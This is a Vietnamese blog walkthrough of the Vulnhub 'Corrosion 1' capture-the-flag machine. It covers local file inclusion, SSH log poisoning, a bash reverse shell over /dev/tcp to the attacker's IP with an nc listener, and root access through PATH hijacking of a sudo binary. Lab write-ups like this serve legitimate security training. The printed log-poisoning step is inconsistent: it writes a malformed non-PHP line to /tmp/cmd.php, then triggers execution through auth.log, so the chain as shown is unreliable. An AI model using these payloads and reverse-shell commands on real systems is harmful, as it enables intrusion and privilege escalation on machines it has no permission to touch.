Phân Tích Lỗ Hổng Corrosion 1 trên Vulnhub

Thiết Lập Môi Trường Kiểm Thử

Máy tấn công: 192.168.226.129 (Kali Linux)
Máy mục tiêu: 192.168.226.128
Tải máy ảo tại: https://www.vulnhub.com/entry/corrosion-1,730/

Quá Trình Khai Thác

1. Khảo Sát Cổng Mạng

Quét mạng bằng arp-scan xác định địa chỉ máy mục tiêu. Sử dụng nmap kiểm tra cổng:

nmap -sV 192.168.226.128

Kết quả cho thấy cổng 22 (SSH) và 80 (HTTP) đang mở. Truy cập trang web qua trình duyệt xác nhận dịch vụ hoạt động bình thường.

2. Phát Hiện Lỗ Hổng Web

Quét thư mục với gobuster sử dụng bộ từ điển chuyên sâu:

gobuster dir -u http://192.168.226.128 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Phát hiện thư mục /tasks chứa file tasks_todo.txt với nội dung:

Check logs at /var/log/ - Randy

Quét tiếp thư mục /blog-post phát hiện endpoint /blog-post/archives/. Kiểm tra tham số tiềm ẩn bằng ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' \
-fs 0

Xác định tham số logpath gây lỗi include file. Kiểm tra lỗ hổng bằng cách đọc /etc/passwd:

curl 'http://192.168.226.128/blog-post/archives/randylogs.php?logpath=/etc/passwd'

3. Khai Thác LFI Qua SSH Log

Dựa trên gợi ý, kiểm tra file log SSH:

curl 'http://192.168.226.128/blog-post/archives/randylogs.php?logpath=/var/log/auth.log'

Ghi payload vào log bằng kết nối SSH giả mạo:

ssh "'\$(echo 'cmd=\$_GET[cmd]' >> /tmp/cmd.php)'"@192.168.226.128

Kích hoạt reverse shell qua tham số cmd:

curl 'http://192.168.226.128/blog-post/archives/randylogs.php?logpath=/var/log/auth.log&cmd=bash+-c+"bash+-i+>&+/dev/tcp/192.168.226.129/4444+0>&1"'

Trên máy tấn công, khởi động listener:

nc -nvlp 4444

Kết nối shell thành công sau khi gửi yêu cầu.

4. Đặc Quyền Hóa Hệ Thống

Tìm file SUID:

find / -perm /4000 2>/dev/null | grep -v 'proc\|snap'

Phát hiện thư mục /var/backups chứa user_backup.zip. Tải file qua HTTP server:

python3 -m http.server 8001 &
wget http://192.168.226.128:8001/user_backup.zip

Giải nén bằng mật khẩu !randybaby (tìm thấy qua fcrackzip). File my_password.txt tiết lộ mật khẩu đăng nhập SSH cho user randy.

Kiểm tra đặc quyền sudo:

sudo -l
(ALL) /usr/local/bin/easysysinfo

Phân tích file easysysinfo.c cho thấy chương trình gọi lệnh cat không dùng đường dẫn tuyệt đối. Tạo shell đặc quyền:

echo -e '#!/bin/bash\nbash -p' > cat
chmod +x cat
export PATH=/tmp:$PATH
sudo /usr/local/bin/easysysinfo

Đọc flag từ thư mục root bằng lệnh less /root/flag.txt.

Thẻ: vulnhub lfi ssh-log-poisoning privilege-escalation path-manipulation

Đăng vào ngày 2 tháng 6 lúc 20:09